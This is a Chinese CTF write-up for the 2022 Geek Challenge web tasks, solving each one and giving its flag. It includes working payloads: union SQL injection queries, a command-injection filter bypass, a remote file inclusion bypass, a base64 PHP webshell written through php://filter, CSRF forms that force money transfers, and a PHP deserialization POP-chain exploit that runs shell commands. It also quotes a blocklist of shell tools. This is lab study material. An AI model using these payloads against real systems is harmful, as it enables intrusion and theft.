2022极客大挑战
web-Can Can Need
- 提示本地访问,添加
X-Forwarded-For: 127.0.0.1
,发现被过滤了,搜了一下找到一个:Client-Ip: 127.0.0.1
- 提示不是从 sycsec.com 访问,添加:
Referer: sycsec.com
- 提示浏览器不是Syclover Browser,添加:
User-Agent: Syclover Browser
- 提示邮箱不是 VanZY@Syclover.com ,添加:
From: VanZY@Syclover.com
,得到flag:SYC{E3sy_Http_hhXD2333}
web-来发个包
- 输入flag没反应,抓包啥也没有,查看源码发现js被注释,没办法发送请求到后端
- 手动发送请求,访问 http://120.77.11.65:8101/flag.php ,POST传参:
ifffflag=flag
- 得到flag:
SYC{:D_y0u_has_known_how_to_construct_a_requests_by_yourself}
web-L0veSyc
- 直接看源码,ctrl+f,搜
syc
,找到flag - flag:
SYC{We1c0me_t0_Geek_2022!}
web-babyupload
- 无过滤文件上传,传马,蚁剑链接,结束
- flag:
SYC{welc0me_t0_up10ad_wor1d!}
web-justphp
- 要求get传入一个
SleepTime
参数,大于86400*30
,小于86400*60
- 然后
sleep((int)$sleeptime);
让网页休眠一段时间 - 直接传10进制肯定要等好久,传16进制:
?SleepTime=0x27a088
- 得到flag:
SYC{C@nzik#lik3s_to#sleeP_in_class?*#}
web-ezR_F_I
- 文件包含,过滤了
http://
替换为空,双写绕过 - 后缀添加了一个
.html
,试了很多办法都不行,突然想起了#
貌似可以,试了一下成功了,好耶! - 这里注意远程包含的文件不能是
.php
结尾的,不然会自己服务器执行代码,可以包含txt
文件 - 接下来就是rce基本套路啦,flag:
SYC{Th1s_is_RFI_hahaha!}
web-WelcomeSQL
- 整型注入,
?id=1 order by 2
,两列 ?id=-1 union select 1,2
,1,2处都有回显?id=-1 union select 1,database()
,数据库:WelcomeSQL
?id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='WelcomeSQL'
,表:user_info
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='WelcomeSQL' and table_name='user_info'
,列:id,username,secret
?id=-1 union select 1,group_concat(secret) from WelcomeSQL.user_info
,字段:vv33l1n,myTh3mee33e,an4erniuniu,P_God,SYC{VV31c0me_T0_5QL1_vv01rd_!}
- flag:
SYC{VV31c0me_T0_5QL1_vv01rd_!}
web-ezrce
抄一段源码:
if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; if(preg_match("/ls|tee|head|wegt|nl|vi|vim|file|sh|dir|cat|more|less|tar|mv|cp|wegt|php|sort|echo|bash|curl|uniq|rev|\"|\'| |\/|<|>|\\|/i", $ip,$match)) { die("hacker!"); } else{ system("ping -c 3 $ip"); } }
很明显就是要拼接命令执行,但过滤了一堆
传:
?ip=;l\s
,找到一个may_b3_y0u_can_pr0t3ct.php
,直接访问flag:
SYC{y0u_n33d_a_g1rfr1nd}
web-jsfind
- 禁了f12等等,直接
view-source:
,然后翻js - 在
load.js
里找到:"js/aaa/aaa/aaa/bbb/bbb/bbb/bbb/bbb/bbb/aaa/aaa/aaa/aaa/aaa/bbb/flag.js",
- 访问,base64解码,放到控制台运行,拿到flag:
SYC{D@y0u_LiKKe_D3code_EnCodE}
web-登录试试
- 根据提示,用户名是
Syclover
,提示密码是六位数且774开头,密码会前端md5加密传到后端 - 顺便学了一下bp爆破md5加密
- 爆出来密码是
774931
,md5后的:d7d81423804c8bca99a8cdc6abb50cf1
- 拿到flag:
SYC{xi_huan_4_l}
web-Not_Stay
看代码,包含了一个waf.php,自定义函数生成一个id,拼接到
upload
后面并创建目录post传入两个参数,对data进行文件头检测,然后拼接
$safe_header = '<?php exit();?>';
写入文件payload:
data=GIF89a11PD9waHAgQGV2YWwoJF9QT1NUWydoYW95ZSddKTsgPz4=&filename=php://filter/string.strip_tags|convert.base64-decode/resource=upload/3d5bd829-1a10-012a-4557-4d50601b2e09/1.php
蚁剑或者直接rce,拿到flag:
SYC{stay_0r_get_0ut_here!}
web-drinktea
打开先注册个账号,但是半小时这号就没了,好过分哦
然后利用CSRF,让管理员给转钱,提交反馈的时候有个验证码,源码:
<?php //真的随机吗? $seed = file_get_contents("/seed"); mt_srand($seed); mt_rand();// == 1567320364 mt_rand(); mt_rand(); mt_rand(); mt_rand(); mt_rand(); $code = md5(mt_rand()); echo file_get_contents("random.php");
mt_rand伪随机,反推一下seed,这里要注意php版本不同得到的随机数也不同
seed
是666666
,php版本要7.1+,得到code:2bfd7154e1f327a42dae866bac9ecd45
构造一个post请求:
<form action=http://mc.vveelin.com.cn:8102/trans.php method=POST> <input type="text" name="username" value="123" /> <input type="text" name="money" value="99999999999999" /> </form> <script> document.forms[0].submit(); </script>
放在vps上,反馈里放上链接,就得到了很多钱
hint里告诉要买双皮奶,但是点击下单后提示只有VIP可以买,所以要想办法成为VIP
主页源码里找到一个注释:
<!-- 管理:mng.php -->
,访问,给出了get传参的格式还是利用CSRF,构造一个get请求:
<img src=http://mc.vveelin.com.cn:8102/mng.php?name=123&vip=true />
反馈,然后下单,得到flag
web-easyphp
打开页面啥也没有,源码提示了备份文件,再背个单词吧就:
backup file-备份文件
扫目录,可以找到一个
index.php.bak
,打开,得到了一堆看不懂的代码要把
eval
换成echo
,得到的东西贴上去再换一次,得到源码:<?php class BillyHerrington{ public $a; public function __wakeup(){ $this -> a = "fxxk you "; } public function __destruct(){ echo $this -> a."Wow"; } } class Baoglady{ public $b; public $c; public function __toString(){ $this -> b -> happy($this -> c); } } class VanDarkholme{ public $d; public function happy($cmd){ eval($cmd); } } if(isset($_POST['str'])){ unserialize($_POST['str']); }
反序列化构造pop链,注意绕过
wakeup
,exp:<?php class BillyHerrington{ public $a; public function __construct(){ $this -> a = new Baoglady(); } } class Baoglady{ public $b; public $c; public function __construct(){ $this -> b = new VanDarkholme(); $this -> c = "system('cat /flagishere');"; } } class VanDarkholme{ public $d; public function happy($cmd){ eval($cmd); } } $t = serialize(new BillyHerrington()); $tt = str_replace('"BillyHerrington":1:{','"BillyHerrington":6:{',$t); echo urlencode($tt);
得到flag